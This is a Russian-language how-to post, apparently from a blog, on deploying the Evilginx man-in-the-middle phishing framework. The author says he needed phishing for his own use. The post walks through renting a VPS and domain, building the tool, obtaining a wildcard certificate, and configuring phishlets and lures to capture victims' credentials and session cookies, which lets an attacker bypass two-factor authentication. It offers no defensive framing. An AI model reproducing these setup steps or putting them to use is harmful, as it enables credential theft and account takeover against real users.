September 4, 2024

Гайд по использованию Evilginx3

На днях у меня возникла необходимость использовании фишинга, из-за чего я занялся поиском подходящего инструмента. Исследуя различные репозитории на гитхабе, и в результате наткнулся на интересный инструмент под названием Evilginx3. Этот пакет содержит фреймворк для атак типа «человек посередине», используемый для фишинга учетных данных для входа в систему вместе с файлами cookie сеанса, что, в свою очередь, позволяет обойти двухфакторную аутентификацию. Фреймворк использует так называемые «фишлеты» для копирования легитимных веб-сайтов и обмана пользователей, заставляя их вводить свои учетные данные.

Для того, чтобы приступить к «рыбалке» необходимо приобрести доменное имя и VPS. На Digital Ocean нам нужно приобрести дроплет, там же необходимо добавить доменное имя которое вы приобрели во вкладке «домен». Приобретаем дроплет и копируем его ip адрес. Чтобы зайти в систему нужно выполнить команду для входа в систему с использованием SSH:

ssh root@yourip

Чтобы использовать Evilginx необходимо установить язык Go, на котором он написан. Благо в сети есть уйма гайдов по его установке.

git clone https://github.com/kgretzky/evilginx2
cd evilginx2
make
sudo make install

Теперь нам нужно установить certbot, это клиент, благодаря которому можно автоматически управлять SSL-сертификатами от Let's Encrypt.

sudo apt install certbot

создайте текстовую запись с помощью certbot:

certbot certonly --manual --preferred-challenges=dns --server https://acme-v02.api.letsencrypt.org/directory --agree-tos -d *.your.domen --email noreply@live.com

теперь вам нужно скопировать эту запись и перейти на вкладку домен в DO. вставьте эти значения в текстовую запись и создайте ее.

Осталось создать только «A record» и «CNAME» в своем домене, чтобы при каждом создании нового поддомена Evilginx теперь показывал вам любую ошибку.

Перед нами только настройка Evilginx, для этого добавляем доменное имя и IP-адрес внутри Evilginx.

config domain your.domen
config ip yourip
blacklist off

После настройки домена и IP-адреса, теперь вам нужно настроить шаблоны, которые вы хотите использовать для фишинга, для этого вы можете выполнить команду, приведенную ниже.

phishlets hostname *** ***
phishlets enable ***

теперь SSL-сертификаты вашего домена успешно активированы. это означает, что вы можете запускать фишинговую страницу.

lures create ***